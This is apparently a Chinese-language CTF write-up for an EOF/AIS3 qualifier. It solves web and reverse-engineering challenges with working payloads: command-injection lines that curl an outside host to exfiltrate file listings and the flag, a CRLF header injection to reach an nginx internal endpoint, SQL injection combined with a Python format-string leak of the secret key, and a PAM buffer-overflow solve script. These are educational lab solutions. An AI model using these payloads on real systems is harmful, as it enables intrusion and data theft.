自從上次去打 HITCON Final 之後,好久沒打 CTF ㄌ
這次 EOF Qual 變成個人賽,取前 80 名組成隊伍進決賽
Web
DNS Lookup Tool: Final
題目是一個非常明顯的 Command Injection
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
...
exec("host {$_POST['name']}", $output, $retcode);
可以看到沒擋 $
及 ()
,所以可以直接執行其他指令並用 curl 把 flag 帶 出來
-a -s 0 $(curl https://mysite -X POST -d "$(ls)")
-a -s 0 $(curl https://mysite -X POST -d "$(cat /$(echo fl)ag_kWpo36uVYABwlTaA)")
AIS3{jU5T_3a$Y_c0mm4Nd_InJEc7ION}
Internal
他的 /flag
endpoint 會直接回傳 flag
但被 nginx 的 internal 設定擋了下來
location /flag {
internal;
proxy_pass http://web:7777;
}
直接參考 Orange 的這篇 Olympic CTF 2014 CURLing 200 write up
internal 代表只有 localhost 才能存取
或是 response 存在 X-Accel-Redirect: https://others/web
的 header,這樣會使得 request 被傳遞到 X-Accel-Redirect 所寫的位址
在他後端的程式碼中也有地方可以讓我使用 %0d%0a
來控制 response header
...
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")
query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
redir = query["redir"][0]
if not URL_REGEX.match(redir):
redir = None
self.send_response(302 if redir else 200)
if redir:
self.send_header("Location", redir)
...
所以 redir 的地方塞 http://localhost/%0d%0aX-Accel-Redirect:%20/flag
就好了
AIS3{JUST_sOM3_FUnny_n91NX_fEatuRe}
copypasta
網站本身會將你輸入的內容使用 format string 塞進存在資料庫的模板之後,將結果存起來,並給一個 UUID
而只有知道這個 UUID 並且這個 UUID 存在於 session 之中才能得到結果
網站在啟動的時候就會將 flag 存進去
def create_post():
# get template
id = request.args.get("id")
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()
content = tmpl["template"]
# format
res = content.format(field=request.form)
id = str(uuid.uuid4())
db().cursor().execute(
"INSERT INTO copypasta (id, orig_id) VALUES (?, ?)",
(id, tmpl["id"])
)
db().commit()
with open(f"posts/{id}", "w") as f:
f.write(res)
session['posts'] = [id] + session['posts']
return redirect(url_for("view", id=id))
def view(id):
if id in session.get('posts', []):
content = open(f"posts/{id}").read()
else:
content = "(permission denied)"
return render_template("view.html", content=content)
可以看到獲取模板的地方存在非常明顯的 SQL Injection
也就是我可以獲取 flag 的 UUID
同時也可以利用它以及 format string 來獲取 app.secret_key
最後就能自己偽造 session 並獲取 flag 了
4 union select id,id,id from copypasta
4 union select id,id,"{field.__class__.__init__.__globals__[__loader__].__init__.__globals__[sys].modules[app].app.secret_key}" from copypasta
AIS3{I_L0Ve_PaSta_@Nd_cOPypasT@}
Reverse
flag generator
用 Ghidra 打開後會發現它本來要寫一個叫做 flag.exe
的檔案,但是並沒有呼叫 file write 之類的操作
所以用 x64dbg 把檔案抓出來就好
執行之後會噴出 flag
AIS3{U51n9_WInd0wS_1S_sUch_@_p@IN…}
stateless
程式裡面有一大堆的 state ,而這些 state 會對輸入做操作,然後將結果與某一串 bytes 做比對
我ㄉ解法就是用工人智慧將反編譯出來的結果寫到 C 裡面,然後觀察 state 的執行順序
接著用工人智慧將每個 state 的運算式都弄出來
最後用 python 把結果逆向回去就拿到 flag 了
flag[0xe] += flag[8] + flag[0x23]
flag[9] += flag[0x16] + flag[2]
...
AIS3{Ar3_YoU_@_sTATEfUL_0R_StAteL3S5_CTfeR}
PixelClicker
首先用 Ghidra 反編譯之後,直接查哪裡會用到 MessageBoxA
之類的函式
程式給你 600 * 600 的不同像素,點這些像素 360000 次之後它就會跟一張圖片比對
想當然就算身為工人智慧也不可能真的點哪麼多次
於是就接個 x86dbg 直接把那張圖片拿出來
AIS3{JUST_4_5imPl3_cLlcKEr_gam3}
Bam
程式是一個魔改的 PAM
所以就是反編譯的時候搭配 GitHub 上的原始碼去重新命名各種變數
它也有提供存起來的 hash
$1337$L5a3756586JMW638tG4245m7x033Wr4K14zbP6q6627K9Y63$321Yp3n72b1ot69tOe8acSo0y0z8f1774fU5eWene7p9aQac
這邊是程式被魔改的部分
可以看到它會移除 hash 前面的 $1337$
之後用 $ 分成前後兩段
然後再將它與 password 一起塞進比對密碼的函式
而比對密碼的函式大概長這樣子
首先會先將分割出來的前後兩段 hash 做一系列操作生成出 hash3
接著再將輸入的 password 與 random
(隨機的 bytes) 做 xor
如果結果剛好等於 hash3
就可以登入
這邊值得注意的是 strcpy
這個函式,由於並沒有限制長度,所以其實可以使用 Buffer Overflow 來覆蓋 random
裡面的值
也就是說 p
以及 random
都是可以自己控制的,所以只要知道 hash3
就可以登入了
而 hash3
我是靠 docker 裡面接 gdb 拿的
最後使用 Python 產生一個 p
跟 random
都是可以印出的 ascii 的字串,當成密碼輸入就行了
hash3 = b'\x58\x6d\x77\x4f\x64\x68\x65\x75\x6b\x48\x37\x6a\x77\x51\x42\x6c'
r = ""
buf = ""
for i in range(16):
for j in string.printable:
if chr(hash3[i] ^ ord(j)) in string.printable:
r += j
buf += chr(hash3[i] ^ ord(j))
break
print(r+buf)
#0001000000a00000h]G~TXUE[xVZGar\
AIS3{cU5TOM_s5H_aUth_BaCKdoOr_i5_c00l!?!?}
結語
我不會打 PWN,輸光